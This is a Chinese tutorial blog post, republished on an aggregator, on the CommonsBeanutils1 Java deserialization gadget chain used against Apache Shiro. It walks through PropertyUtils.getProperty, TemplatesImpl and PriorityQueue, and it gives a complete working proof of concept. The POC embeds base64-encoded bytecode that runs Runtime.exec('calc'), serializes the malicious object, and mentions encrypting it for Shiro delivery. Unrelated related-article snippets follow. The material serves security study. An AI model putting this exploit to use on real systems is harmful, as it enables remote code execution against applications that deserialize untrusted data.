[Java反序列化]CommonsBeanutils1利用链学习

news2024/10/6 22:21:12

0x01

前篇shiro的利用,需要动态字节码 ,而这种方式需要我们自己添加依赖,所以很局限,而CommonsBeanutils 是shiro的依赖, CommonsBeanutils 是应用于 javabean 的工具

javabean的定义

类必须是具体的和公共的,并且具有无参的构造器,JavaBean通过提供符合一致性设计模式的公共方法将内部域暴露成员属性,set和get方法获取。简单来说就是必须是个public 类且有无参构造器和对应的 get set 方法,且可序列化

Test

类似于,有pulic类  无参构造器,对应的set 和 get

public class Person {
    public String name;
    public int age;

    public Person() {
    }
    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

Commons-Beanutils

commons-beanutils 是应用于javabean的工具,他提供了一种动态的getter 方法 

如果一个Person 类是 JavaBean ,他有一个name属性,则 

PropertyUtils.getProperty(new Person(),"name")会调用他的 getName()方法

正常方式调用一个类方法:

Person person = new Person("snowy",17);
System.out.println(person.getName());

PropertyUtils.getProperty 方式调用:

Person person = new Person("snowy",17);
System.out.println(PropertyUtils.getProperty(person,"name"));

 如果报错  需要加maven 依赖

<dependency>
	<groupId>commons-logging</groupId>
	<artifactId>commons-logging</artifactId>
	<version>1.2</version>
</dependency>

这里传入的是name, getProperty() 会将 name 的首字母大写 成 Name ,然后加上get,最后调用的是 getName() 而这种方式,不光可以调用getter,而是可以调用任意方法,无论他有没有,  如果我们传入的是   aaa 则会调用getAaa()

结合到前面的动态字节码 Templateslmpl类,其中 getOutputProperties 是get 开头的,便可以逐个执行动态字节码文件。

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

分析:

跟进分析一下 getProperty() 的实现流程,跟进  getProperty() 

    public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return PropertyUtilsBean.getInstance().getProperty(bean, name);
    }

跟进

    public Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
        return this.getNestedProperty(bean, name);
    }

调用了新方法,getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()

 跟进,之后会走到

 Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);

 跟进invokeMethod()

会给value 加上 get 并大写后个字母 

所以这里就可以联想到TemplatesImpl#getOutputProperties() ,实现形式:

System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

很好理解,前面加上get 将O大写就实现了。

这里可以结合CC3的链子进行测试

public class BeanComparatorCC3 {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","snowy");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

        //TemplatesImpl.getOutputProperties() ->
        //TemplatesImpl.newTransformer() ->
        //TemplatesImpl.getTransletInstance() ->
        //TemplatesImpl.defineTransletClasses() ->
        //TransletClassLoader.defineClass


    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

 可以成功。

试着找一条反序列化的利用方式。

返回去看看谁调用了   getProperty()

 而cc2 在这条链子上 的有限队列类 PriorityQueue的反序列化 readObject()方法中有调用到compare(),  如图:

 所以整条链子能够 很明显的浮现

PriorityQueue.readObject() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
defineClass.newInstance()

POC

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class shiroCB {
    public static void main(String[] args) throws Exception {
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","snowy");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        
        //Commons-Beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        //CC2
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",beanComparator);

        serialize(priorityQueue);
        unserialize("1.txt");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }

老方法利用,要用脚本加密。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/71497.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

传统服务器与云服务器

传统服务器 传统服务器即物理服务器&#xff0c;是指独立服务器&#xff0c;也就是指物理上的单独服务器&#xff0c;物理服务器的构成包括处理器、硬盘、内存、系统总线等&#xff0c;和通用的计算机架构类似。 裸机物理服务器(BMS) 裸机服务器的官方定义是&#xff1a;裸机…

【嵌入式硬件芯片开发笔记】4-2 mADAC芯片AD5421配置流程

【嵌入式硬件芯片开发笔记】4-2 mADAC芯片AD5421配置流程 16位、串行输入、环路供电、4 mA至20 mA DAC 可用于HART协议相关电路 同AD5700配合使用 AD5421的SPI和普通的不一样 回读时要发两段 CS中间拉高一次 数据在SCLK上升沿逐个输出&#xff0c;而且在 SCLK下降沿有效 固CPO…

微服务框架 SpringCloud微服务架构 26 数据聚合 26.2 DSL 实现Bucket聚合

微服务框架 【SpringCloudRabbitMQDockerRedis搜索分布式&#xff0c;系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 SpringCloud微服务架构 文章目录微服务框架SpringCloud微服务架构26 数据聚合26.2 DSL 实现Bucket聚合26.2.1 DSL 实现Bucket聚合26.2.2 Buc…

【设计模式】享元模式(Flyweight Pattern)

享元模式属于结构型模式&#xff0c;主要解决系统需要使用大量相似对象&#xff08;细粒度对象&#xff09;而消耗大量内存资源的问题。享元模式运用共享技术有效地支持大量细粒度的对象&#xff0c;其通过提取对象共同的信息抽象出享元对象&#xff0c;实现共享功能&#xff0…

mysql详解之B树的查询时间复杂度

前言 本文是我在看了这篇文章之后&#xff08;这篇文章对b树的时间复杂度总结的很全面&#xff09;&#xff0c;关于B树&#xff08;或B树&#xff09;时间复杂度做的进一步思考&#xff08;如果对解题过程不感兴趣&#xff0c;可以直接看最后的总结&#xff09;。 正题 在这…

Java继承(extends)简明教程

继承是面向对象的三大特征之一。继承和现实生活中的“继承”的相似之处是保留一些父辈的特性&#xff0c;从而减少代码冗余&#xff0c;提高程序运行效率。 Java 中的继承就是在已经存在类的基础上进行扩展&#xff0c;从而产生新的类。已经存在的类称为父类、基类或超类&…

物联网和大数据可应用在哪些领域?

物联网和大数据可应用在哪些领域&#xff1f;物联网和大数据是近年来最受媒体和企业关注的两大宏观技术趋势。两者也并驾齐驱&#xff0c;物联网旨在特定组织或环境中创建一个互联网络&#xff0c;使用该网络来收集数据并集中执行特定功能。物联网部署会生成大量以前未开发的数…

【MR】C++ bullet客户端基于MR的动力学仿真

程序基于&#xff08;A minimal example showing how to use PyBullet from C over shared memory.一个展示如何在共享内存上从c使用PyBullet的最小示例。https://github.com/erwincoumans/pybullet_cpp_sharedmemory_example&#xff09;实现与pybullet服务器通信交互。加上MR…

MySql按条件插入数据,MySQL插入语句写where条件,MySQL在插入时做幂等

文章目录写在前面根据条件插入数据1、先准备测试数据2、正常的插入语句3、有条件的插入语句&#xff08;重点&#xff09;4、查看最终结果总结分析写在前面 使用MySQL的删、改、查功能时&#xff0c;我们都可以根据where条件来对指定数据进行操作。 插入语句如何通过where条件…

Git —— 关于创建多对非对称公钥时对不同服务器的匹配问题

Git —— 关于创建多对非对称密钥时对不同服务器的匹配问题 《工欲善其事&#xff0c;必先利其器》—— 既然点进来了&#xff0c;麻烦你看下去&#xff0c;希望你有不一样的收获~ 《 前言 》 大概是半年前&#xff0c;我写过一篇关于 git 连接托管平台提示 permission denied…

经典算法冒泡排序之标志位优化版

前言 今天总结一下优化版的经典算法——冒泡排序&#xff0c;不同于以往的暴力二重for循环&#xff0c;这里的冒泡排序增加了一个标志位。我们要理解该冒泡排序的概念&#xff0c;算法流程与算法思想&#xff0c;探讨时间复杂度。 冒泡排序算法解析 一、理解冒泡排序思想 1…

Selenium4+Python3系列(十一) - Page Factory设计模式

写在前面&#xff1a; Page Object模式&#xff0c;目的是将元素定位和元素操作分层&#xff0c;只接触测试内容&#xff0c;不写基础内容&#xff0c;便于后续对自动化测试用例体系的维护&#xff0c;这是中心思想&#xff0c;也是核心。 那么我们继续将简洁延续&#xff0c…

Allegro如何铺网格铜详细操作指导

Allegro如何铺网格铜的三种方法操作指导 在做PCB设计的时候,时常需要铺网格铜,尤其是对于绕性有要求的时候,Allegro可以快捷铺出网格铜,类似下图 具体操作如下 直接铺网格铜 选择Shape add Rect命令 Option Type选择Static Crosshatch 画出需要的图形 鼠标右击done,…

详解go语言包管理方式(go mod), 分析多目录多文件下的管理,不同工程下包的相互调用

先明白一个点&#xff0c; 想要成功运行一个go程序&#xff0c; 有两种模式 一&#xff1a; 以前的默认模式&#xff0c;必须将项目放在gopath/src下 二&#xff1a;使用go mod 包管理方式&#xff0c; 项目可以放到任意位置&#xff0c;这样目录下需要有go.mod文件 下边我会分…

毕业设计 stm32单片机的目标检测与跟踪系统 -物联网 openmv 嵌入式

文章目录0 前言课题简介设计框架3 硬件设计4 软件设计对被测物体的识别判断被测物体所在区域5 最后0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#xff0c;往往达不到毕业答辩的要求&#xff0c;这两年…

力扣(LeetCode)1812. 判断国际象棋棋盘中一个格子的颜色(C++)

数学 如果我们把国际象棋的横轴看做从 111 到 888 &#xff0c;那么每个棋子的坐标形如 a1(1,1)a1(1,1)a1(1,1) c4(3,4)c4(3,4)c4(3,4) &#xff0c;想想坐标之和有没有什么规律。 规律 : 黑子坐标之和为偶数&#xff0c;白子坐标之和为奇数。 横轴坐标是我们自定义的&#x…

基于蚁群算法的三维路径规划算法以及蚁群算法的优化计算——TSP优化(Matlab代码实现)

目录 1 概述 1.1简介 1.2 改进的蚁群算法 2 部分运行结果 2.1 三维路径规划算法 2.2 TSP优化算法 3 Matlab代码实现 4 参考文献 1 概述 1.1简介 当前社会, 很多用户需要在复杂的没有公路的山地地形, 快速、准确的规划出三维路径, 在避过障碍的同时达到某项指标最优。…

【C++笔试强训】第四天

文章目录选择题编程题选择题 #include<iostream> #include<cstdio> using namespace std; int main(){int m0123, n123;printf("%o %o\n", m, n);return 0; }程序运行后的输出结果是&#xff08;&#xff09; A 0123 0173 B 0123 173 C 123 173 D 173 1…

RabbitMQ基本使用

先会用&#xff0c;知道mq是干嘛的&#xff0c;怎么用RabbitMQ 再去考虑一系列深入东西 一&#xff1a;什么是MQ MQ消息队列详解、四大MQ的优缺点分析_从百草园杀到三味书屋&的博客-CSDN博客 理解什么是MQ MQ在企业/程序中的作用是什么&#xff1f; MQ&#xff0c;中文是…

Fluent的porous jump边界条件

1 porous jump简介 多孔介质指内部具有连通的空洞&#xff0c;可使流体穿过的固体。多孔介质具有以下特点&#xff1a; 流道极复杂&#xff0c;活性炭过滤器等随机排布的多孔介质甚至不存在可通过曲面和实体表征的确定流道多孔介质只是流场的一部分&#xff0c;通常不关注多孔…